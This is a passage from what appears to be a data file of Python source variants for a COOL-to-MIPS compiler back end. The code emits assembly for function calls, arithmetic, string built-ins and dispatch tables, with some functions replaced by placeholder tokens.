-4')\n self.write_file('')\n self.visit(cil.Call(dest=node.dest, f='Object_copy'))\n self.write_file('addiu $sp, $sp, 4')\n self.write_file('')\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.VCall)\n def visit(self, node: cil.VCall):\n self.write_file('# VCALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n if node.ttype[0] == '_':\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n else:\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n self.write_file(f'mulu $a2, $a2, 8')\n self.write_file(f'addu $a2, $a2, $s0')\n self.write_file(f'lw $a1, 0($a2)')\n self.write_file(f'lw $a2, 8($a1)')\n self.write_file(f'lw $a0 {node.f * 4}($a2)')\n self.write_file(f'jalr $a0')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n if node.ttype[0] != '_':\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n else:\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n\n @visitor.when(cil.Return)\n def visit(self, node: cil.Return):\n self.write_file('# RETURN')\n self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))\n\n @visitor.when(cil.Label)\n def visit(self, node: cil.Label):\n self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)\n\n @visitor.when(cil.Goto)\n def visit(self, node: cil.Goto):\n self.write_file('# GOTO')\n self.write_file('j _cil_label_{}'.format(node.label))\n self.write_file('')\n\n @visitor.when(cil.IfGoto)\n def visit(self, node: cil.IfGoto):\n self.write_file('# IF GOTO')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.condition]))\n self.write_file('bnez $a0, _cil_label_{}'.format(node.label))\n self.write_file('')\n <function token>\n <function token>\n\n def object_abort(self):\n self.write_file('function_Object_abort:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_copy(self):\n self.write_file('function_Object_copy:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $t0 12($fp)')\n self.write_file('lw $a0 4($t0)')\n self.write_file('move $t4 $a0')\n self.write_file('li $v0 9')\n self.write_file('syscall')\n self.write_file('move $t2 $v0')\n self.write_file('li $t3 0')\n self.write_file('_objcopy_loop:', tabbed=False)\n self.write_file('lw $t1 0($t0)')\n self.write_file('sw $t1 0($v0)')\n self.write_file('addiu $t0 $t0 4')\n self.write_file('addiu $v0 $v0 4')\n self.write_file('addiu $t3 $t3 4')\n self.write_file('ble $t4 $t3 _objcopy_loop')\n self.write_file('_objcopy_div_end_:', tabbed=False)\n self.write_file('move $v0 $t2')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_typename(self):\n self.write_file('function_Object_type_name:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a1 0($a1)')\n self.write_file('mulu $a1 $a1 4')\n self.write_file('addu $a1 $a1 $s1')\n self.write_file('lw $a1 0($a1)')\n self.write_file('move $a2 $0')\n self.write_file('move $t2 $a1')\n self.write_file('_str_len_clsname_:', tabbed=False)\n self.write_file('lb $a0 0($t2)')\n self.write_file('beq $a0 $0 _end_clsname_len_')\n self.write_file('addiu $a2 $a2 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _str_len_clsname_')\n self.write_file('_end_clsname_len_:', tabbed=False)\n self.write_file('sw $a2, 12($v0)')\n self.write_file('sw $v0, 12($v1)')\n self.write_file('sw $a1, 16($v1)')\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_in_int(self):\n self.write_file('function_IO_in_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $t0 $v0')\n self.write_file('li $v0 5')\n self.write_file('syscall')\n self.write_file('sw $v0 12($t0)')\n self.write_file('move $v0 $t0')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_in_string(self):\n self.write_file('function_IO_in_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('sw $v1 12($v0)')\n self.write_file('move $t5 $v0')\n self.write_file('la $a0 str_buffer')\n self.write_file('li $a1 1025')\n self.write_file('li $v0 8')\n self.write_file('syscall')\n self.write_file('move $a0 $0')\n self.write_file('la $t2 str_buffer')\n self.write_file('_in_string_str_len_:', tabbed=False)\n self.write_file('lb $t0 0($t2)')\n self.write_file('beq $t0 $0 _end_in_string_str_len_')\n self.write_file('beq $t0 10 _end_in_string_str_len_')\n self.write_file('addiu $a0 $a0 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _in_string_str_len_')\n self.write_file('_end_in_string_str_len_:', tabbed=False)\n self.write_file('sw $a0 12($v1)')\n self.allocate_memory()\n self.write_file('la $t4 str_buffer')\n self.write_file('move $t1 $v0')\n self.write_file('_in_str_copy_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_copy_')\n self.write_file('beq $t0 10 _end_in_str_copy_')\n self.write_file('sb $t0 0($t1)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('j _in_str_copy_')\n self.write_file('_end_in_str_copy_:', tabbed=False)\n self.write_file('sw $v0 16($t5)')\n self.write_file('la $t4 str_buffer')\n self.write_file('_in_str_clean_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_clean_')\n self.write_file('sb $0 0($t4)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _in_str_clean_')\n self.write_file('_end_in_str_clean_:', tabbed=False)\n self.write_file('move $v0 $t5')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_int(self):\n self.write_file('function_IO_out_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 12($a0)')\n self.write_file('li $v0 1')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_string(self):\n self.write_file('function_IO_out_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 16($a0)')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def conforms(self):\n self.write_file(f'function_{CONFORMS_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'lw $t1 16($fp)')\n self.write_file(\n f'beq $t1 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_true_'\n )\n self.write_file('_conforms_loop_:', tabbed=False)\n self.write_file('beq $t0 $t1 _conforms_ret_true_')\n self.write_file(\n f'beq $t0 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_false_'\n )\n self.write_file('mulu $t0 $t0 4')\n self.write_file('addu $t0 $t0 $s2')\n self.write_file('lw $t0 0($t0)')\n self.write_file('j _conforms_loop_')\n self.write_file('_conforms_ret_true_:', tabbed=False)\n self.write_file('li $v0 1')\n self.write_file('j _conforms_ret_')\n self.write_file('_conforms_ret_false_:', tabbed=False)\n self.write_file('li $v0 0')\n self.write_file('_conforms_ret_:')\n self.write_file('jr $ra')\n self.write_file('')\n\n def isvoid(self):\n self.write_file(f'function_{ISVOID_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=BOOLEAN_CLASS))\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'la $t1 {VOID_MIPS_NAME}')\n self.write_file(f'beq $t0 $t1 _is_void_true_')\n self.write_file(f'sw $0 12($v0)')\n self.write_file(f'j _is_void_end_')\n self.write_file(f'_is_void_true_:', tabbed=False)\n self.write_file(f'li $t0 1')\n self.write_file(f'sw $t0 12($v0)')\n self.write_file(f'_is_void_end_:', tabbed=False)\n self.write_file(f'jr $ra')\n self.write_file(f'')\n",
"<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n\n def push(self):\n self.write_file('sw $a0 0($sp)')\n self.write_file('addiu $sp $sp -4')\n\n def pop(self, dest=None):\n self.write_file(f'addiu $sp $sp 4')\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n\n def new_labels_id(self):\n self.cur_labels_id += 1\n return self.cur_labels_id\n\n @visitor.on('node')\n def visit(self, node):\n pass\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n\n @visitor.when(cil.Data)\n def visit(self, node: cil.Data):\n self.write_file(\n f'{node.dest}: .asciiz \"{str(node.value.encode())[2:-1]}\"')\n\n @visitor.when(cil.Type)\n def visit(self, node: cil.Type):\n self.dispatchtable_code.append(f'# Type {node.type_name}')\n self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.\n methods)))\n self.dispatchtable_code.append('li $v0 9')\n self.dispatchtable_code.append('syscall')\n for i in range(len(node.methods)):\n self.dispatchtable_code.append('la $t1 function_{}'.format(node\n .methods[i].function_name))\n self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.\n type_index.index(node.type_name)))\n self.dispatchtable_code.append('sw $v0 8($t0)')\n self.dispatchtable_code.append('')\n self.prototypes_code.append(f'# Type {node.type_name}')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('li $v0 9')\n self.prototypes_code.append('syscall')\n class_index = self.type_index.index(node.type_name)\n self.prototypes_code.append('li $a0 {}'.format(class_index))\n self.prototypes_code.append('sw $a0 0($v0)')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('sw $a0 4($v0)')\n self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n self.prototypes_code.append('')\n\n @visitor.when(cil.Function)\n def visit(self, node: cil.Function):\n self.write_file(f'function_{node.name}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'subiu $sp, $sp, {4 * len(node.vlocals)}')\n for i in range(len(node.args)):\n self.offset[node.args[i].name] = 12 + i * 4\n for i in range(len(node.vlocals)):\n self.offset[node.vlocals[i].name] = i * -4\n for inst in node.body:\n if isinstance(inst, cil.Equal) or isinstance(inst, cil.Div):\n inst.id = self.new_labels_id()\n self.visit(inst)\n self.write_file(f'addiu $sp, $sp, {4 * len(node.vlocals)}')\n self.write_file('jr $ra')\n self.write_file('')\n\n @visitor.when(cil.Assign)\n def visit(self, node: cil.Assign):\n self.write_file('# ASSIGN')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.source]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Plus)\n def visit(self, node: cil.Plus):\n self.write_file('# +')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('add $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Minus)\n def visit(self, node: cil.Minus):\n self.write_file('# -')\n if isinstance(node.left, int):\n self.write_file('li $a0 {}'.format(node.left))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sub $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Mult)\n def visit(self, node: cil.Mult):\n self.write_file('# *')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('mul $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Div)\n def visit(self, node: cil.Div):\n self.write_file('# /')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beqz $a1 _div_error_{node.id}_')\n self.write_file('div $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b _div_end_{node.id}_')\n self.write_file(f'_div_error_{node.id}_:', tabbed=False)\n self.write_file('la $a0 _div_zero_msg')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('la $a0 _abort_msg')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('li $v0 10')\n self.write_file('syscall')\n self.write_file(f'_div_end_{node.id}_:', tabbed=False)\n\n @visitor.when(cil.Equal)\n def visit(self, node: cil.Equal):\n self.write_file('lw $t0 {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $t1 {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beq $t0 $zero _eq_false_{node.id}_')\n self.write_file(f'beq $t1 $zero _eq_false_{node.id}_')\n self.write_file('lw $a0 0($t0)')\n self.write_file('lw $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n INTEGER_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n BOOLEAN_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(STRING_CLASS))\n )\n self.write_file(f'bne $a0 $a2 _not_basic_type_{node.id}_')\n self.write_file(f'_eq_str_{node.id}_:', tabbed=False)\n self.write_file('lw\\t$t3 12($t0)')\n self.write_file('lw\\t$t3 12($t3)')\n self.write_file('lw\\t$t4, 12($t1)')\n self.write_file('lw\\t$t4, 12($t4)')\n self.write_file(f'bne $t3 $t4 _eq_false_{node.id}_')\n self.write_file(f'beq $t3 $0 _eq_true_{node.id}_')\n self.write_file('addu $t0 $t0 16')\n self.write_file('lw $t0 0($t0)')\n self.write_file('addu $t1 $t1 16')\n self.write_file('lw $t1 0($t1)')\n self.write_file('move $t2 $t3')\n self.write_file(f'_verify_ascii_sequences_{node.id}_:', tabbed=False)\n self.write_file('lb $a0 0($t0)')\n self.write_file('lb $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('addu $t0 $t0 1')\n self.write_file('addu $t1 $t1 1')\n self.write_file('addiu $t2 $t2 -1')\n self.write_file(f'bnez $t2 _verify_ascii_sequences_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_not_basic_type_{node.id}_:', tabbed=False)\n self.write_file(f'bne $t0 $t1 _eq_false_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_eq_int_bool_{node.id}:', tabbed=False)\n self.write_file('lw $a3 12($t0)')\n self.write_file('lw $t4 12($t1)')\n self.write_file(f'bne $a3 $t4 _eq_false_{node.id}_')\n self.write_file(f'_eq_true_{node.id}_:', tabbed=False)\n self.write_file('li $a0 1')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b end_equal_{node.id}_')\n self.write_file(f'_eq_false_{node.id}_:', tabbed=False)\n self.write_file('li $a0 0')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'end_equal_{node.id}_:', tabbed=False)\n <function token>\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.GetAttrib)\n def visit(self, node: cil.GetAttrib):\n self.write_file('# GETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.Allocate)\n def visit(self, node: cil.Allocate):\n self.write_file('# ALLOCATE')\n if node.ttype == VOID_TYPE:\n self.write_file(f'la $v0 {VOID_MIPS_NAME}')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n else:\n offset_proto = self.type_index.index(node.ttype) * 8\n self.write_file('lw $t0 {}($s0)'.format(offset_proto))\n self.write_file('sw $t0, 0($sp)')\n self.write_file('addiu $sp, $sp, -4')\n self.write_file('')\n self.visit(cil.Call(dest=node.dest, f='Object_copy'))\n self.write_file('addiu $sp, $sp, 4')\n self.write_file('')\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.VCall)\n def visit(self, node: cil.VCall):\n self.write_file('# VCALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n if node.ttype[0] == '_':\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n else:\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n self.write_file(f'mulu $a2, $a2, 8')\n self.write_file(f'addu $a2, $a2, $s0')\n self.write_file(f'lw $a1, 0($a2)')\n self.write_file(f'lw $a2, 8($a1)')\n self.write_file(f'lw $a0 {node.f * 4}($a2)')\n self.write_file(f'jalr $a0')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n if node.ttype[0] != '_':\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n else:\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n\n @visitor.when(cil.Return)\n def visit(self, node: cil.Return):\n self.write_file('# RETURN')\n self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))\n\n @visitor.when(cil.Label)\n def visit(self, node: cil.Label):\n self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)\n\n @visitor.when(cil.Goto)\n def visit(self, node: cil.Goto):\n self.write_file('# GOTO')\n self.write_file('j _cil_label_{}'.format(node.label))\n self.write_file('')\n\n @visitor.when(cil.IfGoto)\n def visit(self, node: cil.IfGoto):\n self.write_file('# IF GOTO')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.condition]))\n self.write_file('bnez $a0, _cil_label_{}'.format(node.label))\n self.write_file('')\n <function token>\n <function token>\n\n def object_abort(self):\n self.write_file('function_Object_abort:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_copy(self):\n self.write_file('function_Object_copy:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $t0 12($fp)')\n self.write_file('lw $a0 4($t0)')\n self.write_file('move $t4 $a0')\n self.write_file('li $v0 9')\n self.write_file('syscall')\n self.write_file('move $t2 